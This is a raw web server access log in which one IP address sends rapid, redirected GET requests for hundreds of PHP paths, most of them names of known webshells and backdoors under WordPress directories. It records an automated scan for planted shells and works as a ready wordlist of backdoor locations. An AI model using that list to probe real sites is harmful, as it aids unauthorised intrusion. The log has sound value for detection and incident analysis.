"GET /wp-admin/user/bak.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:00 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:00 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:01 -0400] "GET /wp-admin/date.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:02 -0400] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:03 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:04 -0400] "GET /.well-known/.well-known/cc.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:05 -0400] "GET /wp-includes/pomo/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:06 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:06 -0400] "GET /css/cong.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:07 -0400] "GET /wp-includes/customize/shell.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:08 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:09 -0400] "GET /wp-content/upgrade/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:10 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:11 -0400] "GET /cgi-bin/fm.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:12 -0400] "GET /wp-includes/block-supports/variations.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:13 -0400] "GET /wp-includes/rest-api/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:13 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:14 -0400] "GET /wp-content/languages/link.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:15 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:16 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:16 -0400] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:17 -0400] "GET /wp-includes/fonts/item.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:18 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:18 -0400] "GET /wp-content/themes/classic/inc/json.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:21 -0400] "GET /wp-content/plugins/seoplugins/wso112233.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:23 -0400] "GET /wp-includes/sodium_compat/link.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:25 -0400] "GET /wp-includes/images/wlw/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:27 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:28 -0400] "GET /wp-content/plugins/WordPressCore/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:29 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:30 -0400] "GET /wp-includes/style-engine/content.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:31 -0400] "GET /wordpress/wp-admin/includeswp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:32 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:33 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:35 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:36 -0400] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:37 -0400] "GET /wp-mail.php/wp-includes/ID3/Core32.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:39 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:40 -0400] "GET /wp-admin/includes/install.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:41 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:42 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:42 -0400] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:44 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:45 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:46 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:47 -0400] "GET /admin/ty.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:47 -0400] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:48 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:50 -0400] "GET /wp-content/themes/cay-van-phong/3luaO.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:50 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:51 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:52 -0400] "GET /wp-mail.php/wp-includes/ID3/info.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:53 -0400] "GET /admin/images/slider/CUfcfoH.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:53 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:54 -0400] "GET /wp-includes/blocks/edit.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:55 -0400] "GET /wp-includes/lock.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:55 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:56 -0400] "GET /wp-content/upgrade/wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:57 -0400] "GET /wp-includes/certificates/up.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:58 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:58 -0400] "GET /admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:31:59 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:00 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:00 -0400] "GET /wp-includes/js/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:01 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:02 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:03 -0400] "GET /admin/upload/themes-install.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:04 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:05 -0400] "GET /wp-admin/js/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:05 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:06 -0400] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:07 -0400] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:08 -0400] "GET /include/mail.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:09 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:09 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:10 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:11 -0400] "GET /wp-admin/log.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:12 -0400] "GET /wp-content/plugins/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:13 -0400] "GET /wp-admin/images/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:13 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:14 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:15 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:16 -0400] "GET /wp-includes/SimplePie/Decode/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:16 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:17 -0400] "GET /wp-admin/upgrade.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:18 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:19 -0400] "GET /wp-content/function.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:19 -0400] "GET /wp-content/upgrade/info.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:20 -0400] "GET /wp-includes/Requests/Cookie/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:20 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:21 -0400] "GET /plugins/phpThumb/404.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:21 -0400] "GET /wp-includes/html-api/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:23 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:24 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:25 -0400] "GET /wp-admin/media.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:26 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:27 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:28 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:28 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:29 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:30 -0400] "GET /.well-known/pki-validation/siteindex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:31 -0400] "GET /plugins/DaoZM.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:31 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:32 -0400] "GET /cgi-bin/1.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:33 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:34 -0400] "GET /wp-content/plugins/pwnd/gecko.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:35 -0400] "GET /wp-admin/network/lock.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:35 -0400] "GET /assets/item.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:36 -0400] "GET /wp-includes/SimplePie/system.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:37 -0400] "GET /about/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:37 -0400] "GET /Assets/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:38 -0400] "GET /wp-includes/sitemaps/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:39 -0400] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:39 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:40 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:40 -0400] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:41 -0400] "GET /.well-known/pki-validation/fm.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:41 -0400] "GET /wp-content/configs.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:42 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:43 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:44 -0400] "GET /assets/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:44 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:45 -0400] "GET /wp-includes/theme-compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:45 -0400] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:46 -0400] "GET /wp-includes/SimplePie/Content/Type/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:47 -0400] "GET /admin/fckeditor/editor/filemanager/owlmailer.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:48 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:48 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:49 -0400] "GET /wp-content/themes/wp-pridmag/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:49 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:50 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:50 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:51 -0400] "GET /wp-includes/rest-api/blue.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:51 -0400] "GET /wp-includes/SimplePie/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:52 -0400] "GET /wp-content/wp-configs.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:52 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:53 -0400] "GET /wp-content/upgrade-temp-backup/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:53 -0400] "GET /.well-known/pki-validation/jp.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:54 -0400] "GET /wp-includes/Requests/Response/siteindex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:54 -0400] "GET /wp-includes/blocks/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:55 -0400] "GET /wp-admin/tools.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:55 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:56 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:57 -0400] "GET /wp-includes/pomo/install.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:57 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:58 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:59 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:32:59 -0400] "GET /wp-includes/images/smilies/network.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:00 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:00 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:01 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:02 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:03 -0400] "GET /wp-content/plugins/Cache.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:03 -0400] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:04 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:04 -0400] "GET /wp-content/uploads/link.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:05 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:05 -0400] "GET /wp-content/uploads/plugins.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:07 -0400] "GET /wp-includes/rest-api/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:07 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:08 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:09 -0400] "GET /wp-includes/html-api/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:09 -0400] "GET /Assets/edit.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:10 -0400] "GET /wp-includes/images/crystal/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:11 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:11 -0400] "GET /.well-known/pkivalidation/log.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:12 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:13 -0400] "GET /wp-admin/packed.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:14 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:14 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:15 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:16 -0400] "GET /wp-includes/style-engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:17 -0400] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:18 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:19 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:20 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:21 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:21 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:22 -0400] "GET /wp-mail.php/wp-includes/ID3/class-config.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:22 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:23 -0400] "GET /wp-includes/html-api/cloud.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:24 -0400] "GET /wp-includes/wp-includes/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:25 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:25 -0400] "GET /.well-known/acme-challenge/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:26 -0400] "GET /wp-includes/pomo/rk2.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:27 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:27 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:27 -0400] "GET /wp-content/themes/plugin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:28 -0400] "GET /admin/controller/extension/extension/blue.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:29 -0400] "GET /wp-admin/maint/buy.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:29 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:30 -0400] "GET /wp-includes/js/crop/shell.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:31 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:31 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:32 -0400] "GET /wp-mail.php/wp-includes/ID3/esyfvxgmdq.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:33 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:34 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:35 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:35 -0400] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:36 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:37 -0400] "GET /wp-includes/images/media/text.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:39 -0400] "GET /wp-includes/customize/muse.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:40 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:40 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:41 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:42 -0400] "GET /wp-includes/php-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:44 -0400] "GET /wp-content/uploads/2022/update.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:45 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:46 -0400] "GET /wp-content/themes/astra/inc/network.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:48 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:49 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:50 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:50 -0400] "GET /.well-knownold/inputs.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:51 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:52 -0400] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:53 -0400] "GET /assets/images/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:53 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:54 -0400] "GET /admin/uploads/lv.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:54 -0400] "GET /wp-includes/wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:33:55 -0400] "GET /wp-content/themes/wp-pridmag/lock.php HTTP/1.1" 301 795 "-" "-" 